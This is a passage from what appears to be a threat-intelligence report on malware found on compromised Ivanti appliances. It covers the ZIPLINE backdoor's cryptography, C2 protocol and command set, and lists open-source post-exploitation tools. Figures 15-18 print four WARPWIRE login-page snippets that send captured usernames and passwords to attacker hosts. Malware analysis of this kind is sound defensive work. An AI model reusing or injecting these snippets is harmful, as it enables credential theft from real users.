keys.\u003c/p\u003e\n\u003cp\u003eThe key material, received by the attacker is defined, as follows:\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003etypedef struct tag_key_material_t {\r\n uint8_t decryption_keydata[20];\r\n uint8_t encryption_keydata[20];\r\n} key_material_t;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 10: Key material structure\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is calculated on the buffer.\u00a0\u003c/p\u003e\n\u003cp\u003eThe truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is described in more details in the next section).\u003c/p\u003e\n\u003cp\u003eThe starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first 16 bytes of the\u00a0\u003ccode\u003edecryption_keydata\u003c/code\u003e\u00a0and\u00a0\u003ccode\u003eencryption_keydata\u003c/code\u003e\u00a0arrays.\u00a0\u003c/p\u003e\n\u003cp\u003eOnce produced, both the decryption and the encryption round keys (11 round keys each, including the original AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order. Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan, terminating after each of the processed commands and likely respawned by the malware ecosystem running on the compromised host.\u003c/p\u003e\n\u003ch4\u003eAuthentication\u003c/h4\u003e\n\u003cp\u003eZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index of the current message starting from 0. Every received or sent packet increments the index and the value is appended to the message as part of the authentication mechanism. That way messages out of order would not be able to authenticate, which would lead to termination of the communication with the C2 server.\u003c/p\u003e\n\u003cp\u003eFigure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC calculations.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 11: Example message\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png",null,null,"https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png"],null,3]]],[null,null,[null,[null,"\u003cp\u003eIn Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes (blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black), followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1 hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message sent and received.\u003c/p\u003e\n\u003ch4\u003eData Protocol\u003c/h4\u003e\n\u003cp\u003eZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003etypedef struct tag_header_t {\r\n char signature[21];\r\n struct tag_key_material key_material;\r\n} header_t;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 12: ZIPLINE header structure\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe signature is expected to be the string\u00a0\u003ccode\u003eSSH-2.0-OpenSSH_0.3xx\u003c/code\u003e, followed by a structure that contains data for AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once decrypted, follows the structure described in Figure 13.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003etypedef struct tag_message_t {\r\n uint16_t len; /* big endian number */\r\n uint8_t data[len]; /* variable size data */\r\n uint8_t hmac_sig[20];\r\n} message_t;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 13: ZIPLINE message structure\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eAlthough the message structure is designed to be flexible, this instance of the malware expects the first message to specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the malware terminates the connection.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 14: Decrypted message structure\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png",null,null,"https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png"],null,3]]],[null,null,[null,[null,"\u003cp\u003eIn the decrypted message in Figure 14, the size (note, it\u2019s a big endian number) is denoted by the first two bytes (blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch, ZIPLINE will terminate the connection, which would also lead to process termination. The\u00a0\u003ccode\u003exx\u003c/code\u003e\u00a0bytes shown in black are non-consequential padding values and the\u00a0\u003ccode\u003eyy\u003c/code\u003e\u00a0values (amber) specify the HMAC signature for the message.\u003c/p\u003e\n\u003cp\u003eIf the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it back to the C2 server. After that, it fetches another message, which is expected to have\u00a0\u003ccode\u003emessage_t.len\u003c/code\u003e\u00a0equal to one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is the index of the command to be executed.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eCommand ID\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eOperation\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eFile Upload\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe command contains the file path and which content to be sent to the connected host.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eFile Download\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe command contains the file path and its content to be saved on the compromised system.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e3\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eReverse Shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA reverse shell is created using \u003c/span\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e/bin/sh\u003c/code\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e and the provided command is executed\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eProxy Server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCreates a proxy server with an IP address provided as part of the command.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e5\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTunneling Server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eImplements a tunneling server, capable of simultaneously dispatching traffic between multiple endpoints.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 1: ZIPLINE command ID\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003eThe message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful (the length and the command).\u003c/p\u003e\n\u003ch4\u003eAdditional Findings\u003c/h4\u003e\n\u003cp\u003eZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the\u00a0\u003ccode\u003esetsid\u003c/code\u003e\u00a0command to create a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the malware closes the open handles except for the one associated with the current connection. The\u00a0\u003ccode\u003eweb\u003c/code\u003e\u00a0process must be able to handle the\u00a0\u003ccode\u003eSIGALRM\u003c/code\u003e\u00a0signal because the malware executes the\u00a0\u003ccode\u003ealarm\u003c/code\u003e\u00a0command on a couple of occasions (delayed by three seconds). Additionally, the\u00a0\u003ccode\u003eweb\u003c/code\u003e\u00a0process terminates itself after executing the specified command, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised host in order to keep listening for incoming traffic.\u003c/p\u003e\n\u003ch3\u003eWARPWIRE Variants\u003c/h3\u003e\n\u003cp\u003eMandiant has identified multiple new variants of\u00a0\u003cu\u003eWARPWIRE\u003c/u\u003e\u00a0across our response engagements and in the wild. Across these variants, the primary purpose of them has remained to target plaintext passwords and usernames for exfiltration to a hard-coded C2 server.\u003c/p\u003e\n\u003cp\u003eThe main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of identified variants, the GET request has been replaced with a POST that submits the credentials in either the POST params or body, however, Mandiant has also identified variants that still utilize a GET request but now include the\u00a0\u003ccode\u003ewindow.location.href\u003c/code\u003e\u00a0as a submitted value.\u00a0\u003c/p\u003e\n\u003cp\u003eBased on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities, Mandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of select WARPWIRE samples.\u003c/p\u003e\n\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003evar ivanti \u003d document.frmLogin.username.value;\r\nvar login \u003d document.frmLogin.password.value;\r\nvar action \u003d window.location.href;\r\nif (ivanti!\u003d\u003d\u0026quot;\u0026quot; \u0026amp;\u0026amp; login!\u003d\u003d\u0026quot;\u0026quot;) {\r\n var ivanti \u003d btoa(ivanti);\r\n var login \u003d btoa(login);\r\n var action \u003d btoa(action);\r\n const url \u003d \u0026quot;https://duorhytm[.]fun/\u0026quot;;\r\n var xhr \u003d new XMLHttpRequest();\r\n xhr.open(\u0026quot;POST\u0026quot;, url, false);\r\n xhr.setRequestHeader(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/x-www-form-urlencoded\u0026quot;);\r\n var params \u003d\u0026quot;ivanti\u003d\u0026quot;+ivanti +\u0026quot;\u0026amp;login\u003d\u0026quot;+ login+\u0026quot;\u0026amp;action\u003d\u0026quot;+action;\r\n xhr.send(params);\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 15: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003evar a \u003d document.frmLogin.username.value;\r\nvar b \u003d document.frmLogin.password.value;\r\nvar c \u003d window.location.href;\r\n\r\nif (a !\u003d\u003d \u0026quot;\u0026quot; \u0026amp;\u0026amp; b !\u003d\u003d \u0026quot;\u0026quot;) {\r\n\r\nvar aEncoded \u003d btoa(a);\r\n var bEncoded \u003d btoa(b);\r\n var cEncoded \u003d btoa(c);\r\n const url \u003d \u0026quot;https://clicko[.]click/?a\u003d\u0026quot; + aEncoded + \u0026quot;\u0026amp;b\u003d\u0026quot; + bEncoded \r\n+ \u0026quot;\u0026amp;c\u003d\u0026quot; + cEncoded;\r\n var xhr \u003d new XMLHttpRequest();\r\n xhr.open(\u0026quot;GET\u0026quot;, url, false);\r\n xhr.send(null);\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 16: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e var uParam \u003d document.frmLogin.username.value;\r\n var pParam \u003d document.frmLogin.password.value;\r\n if (uParam \u0026amp;\u0026amp; pParam) {\r\n var xhr \u003d new XMLHttpRequest();\r\n const url \u003d `https://www.miltonhouse[.]nl/pub/opt/processor.php`\r\n const body \u003d `h\u003d${btoa(document.location.hostname)}\u0026amp;u\r\n\u003d${btoa(uParam)}\u0026amp;p\u003d${btoa(pParam)}`;\r\n xhr.open(\u0026#39;POST\u0026#39;, url, true);\r\n xhr.setRequestHeader\r\n(\u0026#39;Content-type\u0026#39;, \u0026#39;application/x-www-form-urlencoded\u0026#39;);\r\n xhr.send(body);\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 17: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e var ivanti \u003d document.frmLogin.username.value;\r\n var login \u003d document.frmLogin.password.value;\r\n var action \u003d window.location.href;\r\n if (ivanti!\u003d\u003d\u0026quot;\u0026quot; \u0026amp;\u0026amp; login!\u003d\u003d\u0026quot;\u0026quot;) {\r\n var ivanti \u003d btoa(ivanti);\r\n var login \u003d btoa(login);\r\n var action \u003d btoa(action);\r\n const url \u003d \u0026quot;https://cpanel.netbar[.]org/assets/js/xml.php\u0026quot;;\r\n var xhr \u003d new XMLHttpRequest();\r\n xhr.open(\u0026quot;POST\u0026quot;, url, false);\r\n xhr.setRequestHeader(\u0026quot;Content-Type\u0026quot;, \u0026quot;application/x-www-form-urlencoded\u0026quot;);\r\n var params \u003d\u0026quot;ivanti\u003d\u0026quot;+ivanti +\u0026quot;\u0026amp;login\u003d\u0026quot;+ login+\u0026quot;\u0026amp;action\u003d\u0026quot;+action;\r\n xhr.send(params);\r\n }\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 18: WARPWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003ch3\u003eUsage of Open-Source Tooling\u003c/h3\u003e\n\u003cp\u003eAcross our incident response engagements, Mandiant identified multiple open-source tools utilized to support post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eTool Name\u00a0\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIMPACKET\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCRACKMAPEXEC\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCRACKMAPEXEC is a post-exploitation tool against Microsoft Windows environments. It is recognized for its lateral movement capabilities.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIODINE\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid 